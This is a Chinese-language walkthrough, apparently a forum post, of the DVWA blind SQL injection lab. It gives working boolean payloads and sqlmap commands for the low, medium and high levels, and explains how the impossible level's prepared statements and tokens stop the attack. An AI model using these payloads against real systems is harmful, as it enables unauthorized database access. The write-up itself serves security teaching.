LOW 级别
一、页面行为分析
在输入框中提交内容，参数通过 URL 传递，属于 GET 请求方式。
页面仅反馈输入内容是否存在于数据库中，无法获取具体数据回显。
由于只返回两种状态：“存在”或“不存在”，因此可判断此处适合使用布尔盲注技术进行探测。
SQL盲注
二、初步注入测试
利用 Burp Suite 的重放功能执行测试（避免重复手动输入），所有 payload 均经过 URL 编码处理。
测试语句如下：
1' and 1=1 #
1' and 1=2 #
观察到两次请求的响应结果不同：前者显示“存在”，后者显示“不存在”。这表明用户输入被直接拼接进 SQL 查询并被执行，确认存在 SQL 注入漏洞。
结合两条测试结果，第一条为真，第二条为假，可以推断出 SQL 语句的闭合方式为单引号闭合。
’
由于页面无详细错误信息，也无法使用联合查询或报错方式回显数据，因此不能采用联合注入或报错注入。只能通过逻辑判断逐字符猜测目标信息。
三、数据库名称长度探测
尝试判断当前数据库名的长度：
1' and length(database())=8 #
进一步测试长度是否为 4：
1' and length(database())=4 #
当长度设为 4 时，页面返回“存在”，说明该条件为真，即当前数据库名称由 4 个字符组成。
length()
4
此过程利用了 SQL 中的
length() 函数来获取字符串长度。
database（）
四、逐字符爆破数据库名
开始对数据库名的每个字符进行猜测：
尝试第一个字符是否为 'f'：
1' and substr(database(),1,1)='f' #
页面提示“不存在”，说明首字符不是 'f'。
f
更换为 'd' 进行测试：
1' and substr(database(),1,1)='d' #
substr（a,b,c）
页面显示“存在”，确认第一个字符为 'd'。
其中，
substr(str, pos, len) 是 SQL 字符串截取函数，表示从字符串
str 的第
pos 位开始截取
len 个字符。
a
b
d
据此方法，依次调整位置和待测字符，即可逐步还原完整数据库名。后续操作可通过脚本自动化完成。
sqlmap
五、使用 sqlmap 自动化探测
先检测是否存在注入点：
python sqlmap.py -u "url" --cookie "cookie值" -p 测试字段 --batch
实际命令示例（需替换为真实参数）：
python sqlmap.py -u "http://dvwa.cmd/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=nq2dfsnf1vt9sjktou0cnivns4" -p id --batch
结果显示存在布尔盲注和时间盲注两种类型。
进一步探测当前数据库名称：
python sqlmap.py -u "http://dvwa.cmd/dvwa/vulnerabilities/sqli_blind/?id=1&Submit=Submit#" --cookie "security=low; PHPSESSID=nq2dfsnf1vt9sjktou0cnivns4" -p id --batch --current-db
其中
--current-db 参数用于获取当前使用的数据库名。
最终返回数据库名为：
dvwa
六、代码层审计
查看后端代码逻辑：
发现程序直接接收用户输入，未对特殊字符做过滤或转义处理，导致 SQL 注入风险。
直接查询 user 表且未做访问控制，存在敏感信息泄露隐患。
查询结果未经延迟或其他混淆处理即返回前端，便于攻击者进行盲注判断。
总结： 当前页面存在基于布尔和时间的盲注漏洞，后端仅控制页面显示内容，未采取有效防护措施。
MEDIUM 级别
一、页面变化与传参方式
页面输入方式改为下拉选择框，数据以 POST 方法提交。
使用 sqlmap 对其进行探测：
结果显示仍存在 SQL 注入漏洞，但闭合方式为数字型（无需引号闭合），同时支持布尔盲注和时间盲注。
二、推测防御机制
无论输入何种内容，系统均返回“不存在于数据库中”的提示，推测后端可能对输入进行了特殊字符转义处理。
但由于此处 SQL 拼接使用的是数字型字段，不依赖引号，因此即使进行了字符转义，也无法阻止数字型注入。
三、代码审计分析
查看相关代码实现：
发现代码中加入了对特殊字符的转义处理逻辑，能够在一定程度上防御基于字符型闭合的注入攻击。
mysql_real_escape_string()
总结： 虽然存在 SQL 盲注漏洞，但后端通过采用数字型输入验证及特殊字符转义，有效缓解了字符型注入的风险。
HIGH 级别
一、页面结构与输入方式
输入界面独立弹出，需手动提交数据进行测试。
输入正常值后，页面返回特定提示信息：
cookie
该提示表明可能存在动态处理流程，注入点很可能位于该交互环节中。
cookie
二、sqlmap 探测尝试
执行以下指令进行自动化扫描（注意替换实际的 URL 和 Cookie 值）：
# 注意替换自己的 url 和 cookie 值
python sqlmap.py -u "http://dvwa.cmd/dvwa/vulnerabilities/sqli_blind/cookie-input.php" --second-url "http://dvwa.cmd/dvwa/vulnerabilities/sqli_blind/" --cookie "id=1; security=high; PHPSESSID=4ebhkk07c7nmui46fdnqeqfa64" -p id --batch --level 3
-u
该参数用于指定接收用户输入的页面地址。
--second-url
此选项设置的是结果返回或显示的页面，即注入后数据呈现的位置。
-p
通过该配置明确指定进行SQL注入测试的参数字段为“id”。
从响应分析可得，SQL语句的闭合方式为：
‘
采用的是常规的闭合结构。
系统存在时间延迟反馈机制，表明可能存在基于时间与布尔判断的盲注漏洞，注入点位于：
cookie
三、代码审计环节
结合代码逻辑和请求流程分析，
后端的数据查询操作发生在：
cookie
对应的处理逻辑中。
值得注意的是，在执行过程中加入了随机延时机制，这种设计会干扰时间型盲注的探测准确性，增加自动化工具判断难度。
总结：尽管系统采用了输入与显示页面分离的设计，并调整了获取用户输入的位置，同时引入随机延迟作为防御手段，但仍未彻底杜绝SQL盲注风险，盲注漏洞依然存在。
Impossible 级别防护分析
一、前端页面行为观察
页面外观正常，无明显异常提示。
GET
在参数传递过程中，前端界面未表现出明显的过滤或编码行为。
通过抓包进一步分析请求内容更为直观。
在提交数据时，请求中包含一个一次性生成的标识符：
token
该机制有效阻止了：
sqlmap
此类自动化工具的基础探测方式。
二、后端代码深度审计
代码中实现了对：
token
令牌的校验与使用，显著提升了对抗自动化攻击的能力。
数据库查询采用预编译（Prepared Statement）方式执行，用户传入的参数被严格当作纯文本处理，从根本上避免了恶意SQL拼接，从而杜绝了：
sql注入
此外，返回给前端的信息也受到严格控制，敏感数据不会泄露。
总结：通过综合运用预编译技术、参数绑定机制以及一次性token验证，实现了对数据库操作的全面防护，有效抵御各类SQL注入攻击。
发帖
雷达卡
京公网安备 11010802022788号
